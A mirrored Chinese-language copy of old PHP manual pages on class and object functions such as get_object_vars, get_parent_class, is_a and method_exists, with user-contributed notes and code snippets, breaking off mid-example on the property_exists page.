注: 在 PHP 4.0.1pl2 中，有三个额外的类存在于返回的数组中：stdClass（在 Zend/zend.c 中定义）、OverloadedTestClass（在 ext/standard/basic_functions.c 中定义）和 Directory（在 ext/standard/dir.c 中定义）。

还需要注意的是额外类的出现依赖于你已编译到 PHP 中的库。这意味着你不能使用这些类名定义自己的类。在附录的 预定义类 部分有预定义类的列表。

参见 class_exists()。

add a note add a note User Contributed Notes
matt at mattsoft dot net
21-Dec-2005 06:58
classes can't be unloaded. probably not very practical to implement that in a future version. I wouldn't go out of my way to do it if I were zend. you're better off finding a workaround. it's better programming technique to find a way around having to do that anyway.

http://www.zend.com/zend/week/week223.php#Heading10
23-Mar-2005 01:16
Regarding note of 3-21:

<?php

class myclass {}

$class = 'myclass';
$instance = new $class();

?>

This function could also be used to determine the names of classes defined in a particular file by calling it before and after include. It's hardly a pointless function.
matt-php at DONT-SPAM-ME dot bitdifferent dot com
01-Nov-2004 11:41
The array returned by this function will be in the order the classes were defined / included / required and this order does not appear to change.

For example:

<?PHP

//define classone
class classone { }

//define classtwo
class classtwo { }

//This will show X classes (built-ins, extensions etc) with
//classone and classtwo as the last two elements

print_r(get_declared_classes());

//define classthree
class classthree { }

//...and four
class classfour { }

//Shows the same result as before with class three and four appended
print_r(get_declared_classes());

?>

Output:

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
 )

and...

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
   [12] => classthree
   [13] => classfour
)
Jazeps Basko
08-Feb-2004 03:52
In PHP5, you don't get declared interfaces by calling this function!!!
To get interfaces you should use get_declared_interfaces(). However, to check if an interface is already defined, you should use class_exists()! This is strange, but PHP team does not think so.
smokey
21-Mar-2003 07:06
you cannot remove them. they are "defined", which happens when the class is being loaded from the parser. you just deleted an instance of a class.
Leigh Purdie
23-Jan-2003 05:01
Note that classes remain in the declared list, even when their associated object is undef'd.

eg:
   $object = new MyClass;
   print_r(get_declared_classes());

   undef($object);
   print_r(get_declared_classes());

- the two print_r's will return the same data.
Not sure how to remove a class from the declared list.
ben [at] efros d0t COM
06-Jul-2001 03:25
To easily check the values, just run:

print_r (get_declared_classes());
add a note add a note

后退 | 起点 | 前进
get_class | 上一级 | get_declared_interfaces


get_declared_interfaces

(PHP 5)

get_declared_interfaces -- Returns an array of all declared interfaces

Description

array get_declared_interfaces ( void )

This function returns an array of the names of the declared interfaces in the current script.

例子 1. get_declared_interfaces() example

<?php
print_r(get_declared_interfaces());
?>

上例的输出类似于：

Array
(
    [0] => Traversable
    [1] => IteratorAggregate
    [2] => Iterator
    [3] => ArrayAccess
    [4] => reflector
    [5] => RecursiveIterator
    [6] => SeekableIterator
)

See also get_declared_classes().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
get_declared_classes | 上一级 | get_object_vars


get_object_vars

(PHP 4, PHP 5)

get_object_vars -- 返回由对象属性组成的关联数组

描述

array get_object_vars ( object obj )

返回由 obj 指定的对象中定义的属性组成的关联数组。

注: 在 PHP 4.2.0 之前的版本中，如果在 obj 对象实例中声明的变量没有被赋值，则它们将不会在返回的数组中。而在 PHP 4.2.0 之后，这些变量作为键名将被赋予 NULL 值。

例子 1. 使用 get_object_vars()

<?php
class Point2D {
    var $x, $y;
    var $label;

    function Point2D($x, $y) {
        $this->x = $x;
        $this->y = $y;
    }

    function setLabel($label) {
        $this->label = $label;
    }

    function getPoint() {
        return array("x" => $this->x,
                     "y" => $this->y,
                     "label" => $this->label);
    }
}

// "$label" is declared but not defined
$p1 = new Point2D(1.233, 3.445);
print_r(get_object_vars($p1));

$p1->setLabel("point #1");
print_r(get_object_vars($p1));

?>
上边的程序将输出：
Array
 (
     [x] => 1.233
     [y] => 3.445
     [label] =>
 )

 Array
 (
     [x] => 1.233
     [y] => 3.445
     [label] => point #1
 )

参见 get_class_methods() 和 get_class_vars()！

add a note add a note User Contributed Notes
ananda dot putra at gmail dot com
01-Mar-2006 07:49
Hi all, I just wrote a function which dumps all the object propreties and its associations recursively into an array. Here it is..
<?php
function object_to_array($obj) {
       $_arr = is_object($obj) ? get_object_vars($obj) : $obj;
       foreach ($_arr as $key => $val) {
               $val = (is_array($val) || is_object($val)) ? object_to_array($val) : $val;
               $arr[$key] = $val;
       }
       return $arr;
}
?>

Example:
You have an object like this:
fruitsbasket Object
(
   [Fruits] => Array
       (
           [0] => fruits Object
               (
                   [_name] => Mango
                   [_color] => Green
                   [_weight] => 10
               )

           [1] => fruits Object
               (
                   [_name] => Apple
                   [_color] => Red
                   [_weight] => 15
               )

           [2] => fruits Object
               (
                   [_name] => Grape
                   [_color] => Purple
                   [_weight] => 5
               )

       )

   [total_weight] => 30
)

just do:
<?php
$the_array = object_to_array($the_object);
print_r($the_array);
?>

it will produce an array:
Array
(
   [Fruits] => Array
       (
           [0] => Array
               (
                   [_name] => Mango
                   [_color] => Green
                   [_weight] => 10
               )

           [1] => Array
               (
                   [_name] => Apple
                   [_color] => Red
                   [_weight] => 15
               )

           [2] => Array
               (
                   [_name] => Grape
                   [_color] => Purple
                   [_weight] => 5
               )

       )

   [total_weight] => 30
)

I wish function like this could be usefull for you all. :)
support at sascha minus diebel dot de
23-Dec-2005 06:55
Note that get_object_vars() returns the variables of the object not the class. You need to know if your class is extended from a parent class.
d11wtq (enquiries AT chriscorbyn.co.uk)
17-Nov-2005 07:40
Since there's no apparent means of obtaining all the *private* properties in an object I wrote a little function to do it.  Built in support would be much more efficient since mine uses a preg_  search to do this....

<?php

function get_private_properties($obj, $inside=false)
{
   $obj_dump  = print_r($obj, 1);
   preg_match_all('/^\s+\[(\w+):private\]/m', $obj_dump, $matches);
   if ($inside)
   {
       $output = array();
       foreach ($matches[1] as $property)
       {
           $output[$property] = $obj->$property;
           return $output;
       }
   }
   else return $matches[1];
}

?>

So if you run it with the optional second paramter missing you'll just get an array of the variable names that are private inside the class.  This is the only option if you are not inside the actual object and the object has no private properties inherited.

If you run it with the second parameter set to true you will get an associative array with the properties and their corresponding values.  I'd only advise to do that for singletons since you may get errors if there are any private properites in parents/children.
pascal dot poncet at netconsult dot com
13-Oct-2005 10:20
Subject: using "sql_calc_found_rows" in a MySQL query while exploiting result in a PHP db class object.

Hello,

There is a nice function in MySQL that allows to know how many records would have been returned if no "where" clause were set : SQL_CALC_FOUND_ROWS.

If you have create a db object to collect the returned lines, you will be a little perplex when trying to call the result of this function.

Why ?
Simply because the returned field's name is "found_rows()" and obviously it's not possible to call something like :

<?php $result->found_rows() ?>

...as it will try to acces a method, not a property !

Then, the only way to get the right result seems to be the use of a class function, like :

<?php
  $db->query("select found_rows()");
  $count=current(get_object_vars(current($db->result)));
?>

Of course, if somebody found an other way to solve it, like a special syntax (see the one used with curled arrays in a string), I'm really open to discuss.

Good luck,
Pascal
Marc
23-Aug-2005 09:08
If you want to access all properties (private, protected, public) of a class and his base class(es) from outside the object you can take a look in the code below.
You can even reffrence them.

Example:
<?php

// Dummy class to act as parent class.
class Dummy
{
   private        $d1 = 1;
   protected    $d2 = 2;
   public        $d3 = 3;
}

// The class to test on.
class Test extends Dummy
{
   private        $t1 = 11;
   protected    $t2 = 12;
   public        $t3 = 13;
}

// Instance of the test class.
$test =& new Test();

// The propertynames of the test class and his parent.
$nameD1 = "\0Dummy\0d1";    // class Dummy, private      $d1
$nameD2 = "\0*\0d2";        // class Dummy, protected $d2
$nameD3 = "d3";            // class Dummy, public    $d3

$nameT1 = "\0Test\0t1";        // class Test,  private      $t1
$nameT2 = "\0*\0t2";        // class Test,  protected $t2
$nameT3 = "t3";            // class Test,  public    $t3

// Printing all members (private, protected, public) of test class and parent.
// These are the values at construction.
print("Original object:\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Create new values to use as reffrence.
$varD1 = 31;
$varD2 = 32;
$varD3 = 33;

$varT1 = 41;
$varT2 = 42;
$varT3 = 43;

// Reffrence these to the class properties.
$test->$nameD1 =& $varD1;
$test->$nameD2 =& $varD2;
$test->$nameD3 =& $varD3;

$test->$nameT1 =& $varT1;
$test->$nameT2 =& $varT2;
$test->$nameT3 =& $varT3;

// Printing all members (private, protected, public) of test class and parent.
// The values have changed by assigning reffrence to them.
print("Object Changed by reffrence (1):\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Change the original values.
// This will change the class properties.
$varD1 = 61;
$varD1 = 62;
$varD1 = 63;

$varT1 = 71;
$varT1 = 72;
$varT1 = 73;

// Printing all members (private, protected, public) of test class and parent.
// The values have changed because the variables $varXX have been changed.
print("Object Changed by reffrence (2):\n");
print("\t\$d1 = ".$test->$nameD1."\n");
print("\t\$d2 = ".$test->$nameD2."\n");
print("\t\$d3 = ".$test->$nameD3."\n");
print("\t\$t1 = ".$test->$nameT1."\n");
print("\t\$t2 = ".$test->$nameT2."\n");
print("\t\$t3 = ".$test->$nameT3."\n");
print("\n");

// Printing the object using print_r() shows the changes
// have been done on the object.
print("Object Changed (print_r):\n");
print_r($test);
print("\n");

// If you dont now the class propertynames you can get these by casting the
// object to an array. The array keys are the names
$prop = array_keys((array) $test);
print("Getting all class propertynames (print_r)\n");
print_r($prop);

//Result
/*

Original object:
   $d1 = 1
   $d2 = 2
   $d3 = 3
   $t1 = 11
   $t2 = 12
   $t3 = 13

Object Changed by reffrence (1):
   $d1 = 31
   $d2 = 32
   $d3 = 33
   $t1 = 41
   $t2 = 42
   $t3 = 43

Object Changed by reffrence (2):
   $d1 = 63
   $d2 = 32
   $d3 = 33
   $t1 = 73
   $t2 = 42
   $t3 = 43

Object Changed (print_r):
Test Object
(
   [t1:private] => 73
   [t2:protected] => 42
   [t3] => 43
   [d1:private] => 63
   [d2:protected] => 32
   [d3] => 33
)

Getting all class propertynames (print_r)
Array
(
   [0] => Test

*/

?>
stachnik at gmail dot com
03-Aug-2005 12:00
In PHP5 to get an array with all properties (even the private ones) all you have to do is write a public method that returns an array for your class:

public function getArray()
{
  return get_object_vars($this);
}

and then

$myBeautifulArray = $myBeautifulObject->getArray ();

Have BEAUTIFUL day :)
fmmarzoa at librexpresion dot org
02-Nov-2004 03:53
You can still cast the object to an array to get all its members and see its visibility. Example:

<?php

class Potatoe {
   public $skin;
   protected $meat;
   private $roots;

   function __construct ( $s, $m, $r ) {
       $this->skin = $s;
       $this->meat = $m;
       $this->roots = $r;
   }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing array cast:\n";

$Arr = (array)$Obj;
print_r ( $Arr );

?>

This will returns:

Using get_object_vars:
Array
(
   [skin] => 1
)

Using array cast:
Array
(
   [skin] => 1
   [ * meat] => 2
   [ Potatoe roots] => 3
)

As you can see, you can obtain the visibility for each member from this cast. That which seems to be spaces into array keys are '\0' characters, so the general rule to parse keys seems to be:

Public members: member_name
Protected memebers: \0*\0member_name
Private members: \0Class_name\0member_name

I've wroten a obj2array function that creates entries without visibility for each key, so you can handle them into the array as it were within the object:

<?php

function obj2array ( &$Instance ) {
   $clone = (array) $Instance;
   $rtn = array ();
   $rtn['___SOURCE_KEYS_'] = $clone;

   while ( list ($key, $value) = each ($clone) ) {
       $aux = explode ("\0", $key);
       $newkey = $aux[count($aux)-1];
       $rtn[$newkey] = &$rtn['___SOURCE_KEYS_'][$key];
   }

   return $rtn;
}

?>

I've created also a <i>bless</i> function that works similar to Perl's bless, so you can further recast the array converting it in an object of an specific class:

<?php

function bless ( &$Instance, $Class ) {
   if ( ! (is_array ($Instance) ) ) {
       return NULL;
   }

   // First get source keys if available
   if ( isset ($Instance['___SOURCE_KEYS_'])) {
       $Instance = $Instance['___SOURCE_KEYS_'];
   }

   // Get serialization data from array
   $serdata = serialize ( $Instance );

   list ($array_params, $array_elems) = explode ('{', $serdata, 2);
   list ($array_tag, $array_count) = explode (':', $array_params, 3 );
   $serdata = "O:".strlen ($Class).":\"$Class\":$array_count:{".$array_elems;

   $Instance = unserialize ( $serdata );
   return $Instance;
}
?>

With these ones you can do things like:

<?php

define("SFCMS_DIR", dirname(__FILE__)."/..");
require_once (SFCMS_DIR."/Misc/bless.php");

class Potatoe {
   public $skin;
   protected $meat;
   private $roots;

   function __construct ( $s, $m, $r ) {
       $this->skin = $s;
       $this->meat = $m;
       $this->roots = $r;
   }

   function PrintAll () {
       echo "skin = ".$this->skin."\n";
       echo "meat = ".$this->meat."\n";
       echo "roots = ".$this->roots."\n";
   }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing obj2array func:\n";

$Arr = obj2array($Obj);
print_r ( $Arr );

echo "\n\nSetting all members to 0.\n";
$Arr['skin']=0;
$Arr['meat']=0;
$Arr['roots']=0;

echo "Converting the array into an instance of the original class.\n";
bless ( $Arr, Potatoe );

if ( is_object ($Arr) ) {
   echo "\$Arr is now an object.\n";
   if ( $Arr instanceof Potatoe ) {
       echo "\$Arr is an instance of Potatoe class.\n";
   }
}

$Arr->PrintAll();

?>
27-Oct-2004 11:02
actually, it's not entirely true that php5 will only return public members....php5 will return any variable IT HAS ACCESS TO

In other words, if you do a get_class_variables($this) inside a class, you'll get everything - public, private, the whole shebang...really annoying since you can't check to see what's private/public without using reflection
fbn79 at libero dot it
06-Apr-2004 08:26
In PHP5 it return only public variables.
manicdepressive AT mindless DOT com
06-Mar-2004 11:57
more strange, strange behaviour:

if you are trying to deep-copy an object with get_object_vars(), strange behaviour can accidentally clobber your original object properties.  please read very, very carefully:

get_object_vars() may either return references to *or* deep copies of the object's properties *depending on whether that property has been set with the -> operator*.  (this behaviour probably varies per php platform and os so please confirm for yourself.)

furthermore, consider
  $properties = get_object_vars($obj);
normally, unset()ting a reference does not affect the original, i.e. $ref = NULL; is not the same as unset($ref); per the references documentation.  However, if you have this strange references version and you unset() an array element of $properties, it will *SET THE OBJECT PROPERTY TO NULL*, which is not how references normally work.

even stranger behaviour comes into effect that i can only express with an example.  please test this with your version and OS and proceed very carefully:
-->
<?php
echo "<pre>\n";

class Lump
{
   var $size = 'average';

   function & copy()
   {  // return a deep copy
     $copy = new Lump();
     $properties = get_object_vars($this);
     foreach( array_keys( $properties ) as $property ){
         $copy->$property = $properties[$property];  // deep, right?
     }
     return $copy;
   }

}

$lump = new Lump();

$lump->size = 'huge';  // <--- this line changes everything
// comment above line out, and see the difference
// also, try substituting another property for 'size'

$properties = get_object_vars($lump);
$properties['size'] = 'small'; // this behavior varies

echo "after changing the properties array:\n";
var_dump( $lump );
// it's either big or small (never huge) depending on
// whether you commented-out the indicated line

//------------- let's try using our copy() method

$original_lump = new Lump();
$original_lump->size = 'huge'; // this line changes the behaviour
$other_lump =& $original_lump->copy();
unset( $other_lump->size );
echo "after unsetting in copy:\n";
var_dump( $original_lump ); // i'm afraid so -- original value clobbered !

echo "</pre>\n";
?>
code till dawn,
   mark meves
christopher AT NOSPAM AT idealab DOT com
31-Dec-2003 07:12
Hmmm.  A bit embarassing...

It turns out the best way to get references to all of your objects member variables is NOT with the functions I provided before, or with get_object_vars.

Just cast the object to array.

$a=(array)$obj;

# The two following statements are now equivalent and identical
$a["member"]=3;
$obj->member=3;

A very powerful tool, for inspectors and what not.
christopher AT NOSPAM AT idealab DOT com
24-Dec-2003 04:49
Please note that you cannot affect the object via the array values...in other words, the returned array does not contain references to the values within the object, but copies.

If you are making an object inspector or editor, this is not good enough.  So I made the following methods:

METHODS:

function &getVar($obj, $name)
{
       $expr="\$prop=&\$obj->$name;";
       eval($expr);
       return $prop;
}

function &getObjectVars($obj)
{
       $result=array();
       $vars=get_object_vars($obj);
       foreach ($vars as $var => $value)
       {
               $result[$var]=&getVar(&$obj, $var);
       }
       return $result;
}

[NOTE:  You must pass in a reference to an object, not an object.  Sorry if this  offends PHP'ers, but the distinction of pass-by-value and copy-on-assignment drives me batty (compared to Python, Java, Smalltalk), so I make all my functions pass by value, and force myself to pass in a reference to keep track of what is happening under the hood.]

EXAMPLE:

class Bob
{
       function Bob()
       {
               $this->thing=13;
               $this->other="whatever";
       }

       var $thing;
       var $other;
}

$obj=&new Bob();

# NOTE:  Passing in a reference!
$props=getObjectVars(&$obj);
$props["thing"]=-11;

var_dump($obj);

RESULTS:

object(bob)(2) {
  ["thing"]=>
  &int(-11)
  ["other"]=>
  &string(8) "whatever"
}
jordi at laigu dot net
06-Nov-2003 09:21
In case your object contains again OBJECTS or ARRAYS:

function makeAssoc($res) {
  if (is_object($res)) $res = get_object_vars($res);
  while (list($key, $value) = each($res)) {
   if (is_object($value) || is_array($value)) {
     $res[$key] = makeAssoc($value);
   }
  }
  return $res;
}

Thanks to mark at dreamzpace dot com
markus at emedia-solutions-wolf dot de
07-Mar-2003 04:01
Hi,

I figured out that in prior version to 4.2 the returned array only contains attributes directly in this class, excluding the derived ones from parentclasses.
info at phpken dot de
22-Nov-2002 10:34
hello,

this example will look like all values of vars was set in your class. write a method like the name: dumpClass and then fill in follow code:

$vars = get_object_vars($this);

echo "<b>class vars</b>";

foreach( $vars as $name => $value ) {
   echo "<li>".$name." : ".$value;
}

look at: get_object_vars($this);

andreas v.l
mark at dreamzpace dot com
14-Sep-2002 01:44
In case your object contains again objects (and so on), this function might be useful:

function makeAssoc($res) {
  $res = get_object_vars($res);
  while (list($key, $value) = each($res)) {
   if (is_object($value)) {
     $res[$key] = makeAssoc($value);
   }
  }
  return $res;
}
nick_eby at bonzidev dot com
10-Jul-2002 03:13
Furthermore, variables not declared in the class but set on a given object, will be returned by get_object_vars().

Example, ver. 4.2.1:
<?
class MyTest {
       var $classVar1 = 'Class Var 1';
       var $classVar2;
       var $classVar3;

       function MyTest()
       {
               $this->classVar2 = 'class var 2';
       }
}

$test = new MyTest();
// This var isn't declared in the class
$test->newObjVar = 'foobar';

echo "<pre>";
print_r(get_object_vars($test));
echo "</pre>";
?>

The output is:
Array
(

   [classVar1] => Class Var 1
   [classVar2] => class var 2
   [classVar3] =>
   [newObjVar] => foobar
)

Prior to version 4.2, classVar3 would not be output as it was never assigned a value.
michael at tapinternet dot com
14-Jun-2002 06:32
It seems that get_object_vars will now return properties of an object even if they have no value  - meaning only defined by var $foo in the class declaration.  This is noted behaviour in 4.2.1 which is different from previous versions and hitherto undocumented on this page.
florian at XCLUDETHISgsf dot de
30-Jan-2002 02:02
There is a strange behaviour, not sure whether it is a bug:

if I call
<?
$single_object = $data_array_of_objects[0];
$array_of_objectvars = get_object_vars($single_object);
     foreach($array_of_objectvars as $key => $val) {
     echo(" $key => $val<br>");
     }
?>
I get only _ONE_ line with the $key = first variable name of the object and $val = the values of _ALL_ variables of the object including the first separated by a space.

NOW:
if I call
<?
$single_object = $data_array_of_objects[0];
$array_of_objectvars = get_object_vars($single_object);
     foreach($array_of_objectvars as $key => $val) {
     echo(" $key => $val<br>");
     }
     echo($data_array_of_objects[0]->objectvar1."<br>");
     echo($data_array_of_objects[0]->objectvar2."<br>");
?>

I get a list of $key = $ val as expected, before the other echos' are printed.
It seems to me that get_object_vars works differently when you access a variable in those objects explicitly (as in the echos)
add a note add a note

后退 | 起点 | 前进
get_declared_interfaces | 上一级 | get_parent_class


get_parent_class

(PHP 4, PHP 5)

get_parent_class -- 返回对象或类的父类名

描述

string get_parent_class ( mixed obj )

如果 obj 是对象，则返回对象实例 obj 所属类的父类名。

如果 obj 是字符串，则返回以此字符串为名的类的父类名。此功能是在 PHP 4.0.5 中增加的。

参见 get_class() 和 is_subclass_of()

add a note add a note User Contributed Notes
birkholz at web dot de
07-Oct-2005 08:01
tim at correctclick dot com wrote:
<quote>
A slightly more cryptic but faster get_ancestors function:

<?php
function get_ancestors ($class) {

     for ($classes[] = $class; $class = get_parent_class ($class); $classes[] = $class);
     return $classes;

}
?>
(The second part of the for is implicitly testing for $class != "").  Recursion is considerably slower than looping, so you probably want to use this function.

Hope someone finds it useful.
</quote>

I would prefer this version, because it will create no duplicates:
<?php
function get_ancestors ($class) {
   $classes = array($class);
   while($class = get_parent_class($class)) { $classes[] = $class; }
   return $classes;
}

Greets, Dennis
?>
matt-php at DONT-SPAM-ME dot bitdifferent dot com
01-Nov-2004 11:52
PHP (4 at least, dunno about 5) stores classnames in lower case, so:

<?PHP

class Foo
{
}

class Bar extends Foo
{
}

echo get_parent_class('Bar');

echo "\n";

echo get_parent_class('bar');

?>

will output:

foo
foo
radu dot rendec at ines dot ro
07-Apr-2004 09:44
If the argument obj is a string and the class is not defined, then the function returns FALSE.

If the argument obj is an object created from a class with no ancestors (or a string representing a class with no ancestors), then the function returns FALSE.
tim at correctclick dot com
06-Apr-2003 11:48
A slightly more cryptic but faster get_ancestors function:

function get_ancestors ($class) {

     for ($classes[] = $class; $class = get_parent_class ($class); $classes[] = $class);
     return $classes;

}

(The second part of the for is implicitly testing for $class != "").  Recursion is considerably slower than looping, so you probably want to use this function.

Hope someone finds it useful.
eric dot brison at anakeen dot com
28-Jan-2002 08:14
To return all ancestors class of an object

function get_ancestors_class($classname) {
  $father = get_parent_class($classname);

  if ($father != "") {

   $ancestors = get_ancestors_class($father);
   $ancestors[] = $father;
  }
  return $ancestors;
}

example :
-----------
Class C  {

}

Class B extends C {

}

Class A extends B {

}
print_r (get_ancestors_class("a"));
print_r (get_ancestors_class("b"));

example result :
---------------
Array
(
   [0] => c
   [1] => b
)
Array
(
   [0] => c
)
add a note add a note

后退 | 起点 | 前进
get_object_vars | 上一级 | interface_exists


interface_exists

(PHP 5 >= 5.0.2)

interface_exists -- Checks if the interface has been defined

Description

bool interface_exists ( string interface_name [, bool autoload] )

This function returns TRUE if the interface given by interface_name has been defined, FALSE otherwise.

例子 1. interface_exists() example

<?php
// Check the interface exists before trying to use it
if (interface_exists('MyInterface')) {
    class MyClass implements MyInterface
    {
        // Methods
    }
}

?>

interface_exists() will attempt to call __autoload by default, if you don't want interface_exists() to call __autoload, you can set the parameter autoload to FALSE.

See also class_exists().

add a note add a note User Contributed Notes
andrey at php dot net
24-Oct-2004 07:40
As far as I remember interface_exists() was added in 5.0.2 . In 5.0.0 and 5.0.1 class_exists() used to return TRUE when asked for a existing interface. Starting 5.0.2 class_exists() doesn't do that anymore.
add a note add a note

后退 | 起点 | 前进
get_parent_class | 上一级 | is_a


is_a

(PHP 4 >= 4.2.0, PHP 5)

is_a -- 如果对象属于该类或该类是此对象的父类则返回 TRUE

描述

bool is_a ( object object, string class_name )

如果对象是该类或该类是此对象的父类则返回 TRUE，否则返回 FALSE。

参见 get_class()、
get_parent_class() 和
is_subclass_of()。

add a note add a note User Contributed Notes
martin dunisch
14-Feb-2006 04:02
Workaround for older PHP-Versions:

function is_a($anObject, $aClass) {
   return get_class($anObject) == strtolower($aClass)
     or is_subclass_of($anObject, $aClass);
}
dead dot screamer at seznam dot cz
07-Feb-2006 03:44
Why I test if class `A` inherit class `B` or implements interface `C` before I create class `A`?

<?
//That isn't work:

//1. function is_A()
if(is_A('A','B'))$a=new A;
if(is_A('A','C'))$a=new A;

//2. operator instanceOf
if(A instanceOf B)$a=new A;
if(A instanceOf C)$a=new A;
?>
zabmilenko at hotmail dot com
08-Oct-2005 08:20
In the below example, the object and class name need to be reversed.  Sorry.

Wrong:
'ObjectA', $objecta

Right:
$objecta, 'ObjectA'
zabmilenko at hotmail dot com
08-Oct-2005 08:18
Lazy Instantiation using is_a() and php5

<?php

class ObjectA
{
   public function print_line($text)
   {
       print $text . "\n";
   }
}

class ObjectB
{
   public function ObjectA()
   {
       static $objecta;

       if (!is_a('ObjectA', $objecta))
       {
           $objecta = new ObjectA;
       }

       return $objecta;
   }
}

$obj = new ObjectB;
$obj->ObjectA()->print_line('testing, 1 2 3');

?>

In the above example, ObjectA is not instantiated until needed by ObjectB.  Then ObjectB can continually use it's creation as needed without reinstantiating it.

There are other ways, but I like this one :-)
cesoid at yahoo dot com
06-Oct-2005 10:01
is_a returns TRUE for instances of children of the class.

For example:

class Animal
{}

class Dog extends Animal
{}

$test = new Dog();

In this example is_a($test, "Animal") would evaluate to TRUE as well as is_a($test, "Dog").

This seemed intuitive to me, but did not seem to be documented.
aidan at php dot net
21-May-2004 10:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
interface_exists | 上一级 | is_subclass_of


is_subclass_of

(PHP 4, PHP 5)

is_subclass_of -- 如果此对象是该类的子类，则返回 TRUE

描述

bool is_subclass_of ( object object, string class_name )

如果对象 object 所属类是类 class_name 的子类，则返回 TRUE，否则返回 FALSE。

参见 get_class()、
get_parent_class() 和
is_a()。

add a note add a note User Contributed Notes
gunniboyh at web dot de
20-May-2006 09:16
is_subclass_of() works also with classes between the class of obj and the superclass.

example:
<?php
class A {};
class B extends A {};
class C extends B {};

$foo=new C();
echo ((is_subclass_of($foo,'A')) ? 'true' : 'false');
?>

echoes 'true' .
01-Oct-2005 09:32
this function does not check interfaces, unlike instanceof operator.
youcantryreachingme at REMOVEME dot hotmail dot com
22-Mar-2005 10:15
A bug report at http://pear.php.net/bugs/bug.php?id=2975 indicates that the "is_subclass_of" function can return the error message:

Warning: Unknown class passed as parameter

in the event that the class represented by the second argument hasn't yet been instantiated.
add a note add a note

后退 | 起点 | 前进
is_a | 上一级 | method_exists


method_exists

(PHP 4, PHP 5)

method_exists -- 检查类的方法是否存在

描述

bool method_exists ( object object, string method_name )

如果 method_name 所指的方法在 object 所指的对象类中已定义，则返回 TRUE，否则返回 FALSE。

add a note add a note User Contributed Notes
jp at function dot fi
30-Apr-2006 05:29
As mentioned before, is_callable and method_exists report all methods callable even if they are private/protected and thus actually not callable. So instead of those functions you may use following work-around which reports methods as supposed to.

<?php
class Foo1 {
  public function bar() {
   echo "I'm private Foo1::bar()";
  }
}

class Foo2 {
  private function bar() {
   echo "I'm public Foo2::bar()";
  }
}

$f1=new Foo1;
$f2=new Foo2;

if(is_callable(array($f1,"bar"))) {
   echo "Foo1::bar() is callable";
} else {
   echo "Foo1::bar() isn't callable";
}
if(is_callable(array($f2,"bar"))) {
   echo "Foo2::bar() is callable";
} else {
   echo "Foo2::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f1))) {
   echo "Foo1::bar() is callable";
} else {
   echo "Foo1::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f2))) {
   echo "Foo2::bar() is callable";
} else {
   echo "Foo2::bar() isn't callable";
}

?>

output
Foo1::bar() is callable (correct)
Foo2::bar() is callable (incorrect)
Foo1::bar() is callable (correct)
Foo2::bar() isn't callable (correct)

?>
seufert at gmail dot com
27-Apr-2006 09:27
Just a note that the behaviour of this function changed between version 5.0.x and 5.1.x when using static member functions

Using this code:
<?php
class a {
   static function test() {return "A";}
}
if(method_exists('a','test'))
   print call_user_func(array('a','test'));
else
   print "Nothing";
?>
PHP 5.1.x returns "A"
PHP 5.0.x returns "Nothing"

Im not sure of a workaround for PHP 5.0.x yet.
spam at majiclab dot com
01-Feb-2006 12:33
Both method_exists() and is_callable() return private and protected functions, which, as mentioned below, causes problems for PHP5/OO programming.  You can use get_class_methods() with either an $instance of a class or the 'ClassName' to get only public functions.
daniel at softel dot jp
10-Jan-2006 11:34
Note that in PHP5, method_exists() will sucessfully find *private* methods. This has some OO/data-hiding ramifications.
jpgiot at nospam ifrance.com
06-May-2004 10:42
a little difference :

to find a method of an object (instance of a class)

<?php
if (method_exists($myinstance,'themethod'))
   echo 'ok';
?>

to find a method of a class (using the class name, not the instance of the class!)

<?php
if (is_callable(array('theclassname','themethod')))
   echo 'ok';
?>
Thomas@ThBeckmann
01-Feb-2003 05:47
Though, as Bejamin noted, it's not possible to use the class name in method_exists within the class definition, get_class_methods delivers the method names for a given class name even inside the class. Thus another workaround for the mentioned problem is to use in_array(<method_name>, get_class_methods(<class_name>))
benjamin_ansbach at web dot de
28-Dec-2002 04:49
if you want to check for a method "inside" of a class use:

method_exists($this, 'function_name')

i was a bit confused 'cause i thought i'm only able to check for a method when i got an object like $object_name = new class_name() with:

method_exists($object_name, 'method_name')

small example for those who didn't understood what i mean ( maybe caused by bad english :) ):

<?php

class a {

   function a() {

       if(method_exists($this, 'test'))
           echo 'a::test() exists!';
       else
           echo 'a::test() doesn\'t exists';

   }

   function test() {

       return true;

   }

}

$b = new a();

?>

the output will be: a::test() exists!

maybe this will help someone
j dot metzger at steptown dot com
16-Jan-2002 07:42
call_user_method uses the same mechanism as a normal method call. So you can get the returned values as well in this way.

$pagetext=call_user_method($method,$object_call);

All information is then in $pagetext.
add a note add a note

后退 | 起点 | 前进
is_subclass_of | 上一级 | property_exists


property_exists

(PHP 5 >= 5.1.0RC1)

property_exists -- Checks if the object or class has a property

说明

bool property_exists ( mixed class, string property )

This function checks if the given property exists in the specified class (and if it was declared as public).

注: As opposed with isset(), property_exists() returns TRUE even if the property has the value NULL.

参数

class

A string with the class name or an object of the class to test for

property

The name of the property

返回值

Returns TRUE if the property exists or FALSE otherwise.

范例

例子 1. A property_exists() example

<?php

class myClass {
    public $mine;
    private $xpto;
}

var_dump(property_exists('myClass', 'mine'));   //true
var_dump(property_exists(new myClass, 'mine')); //true
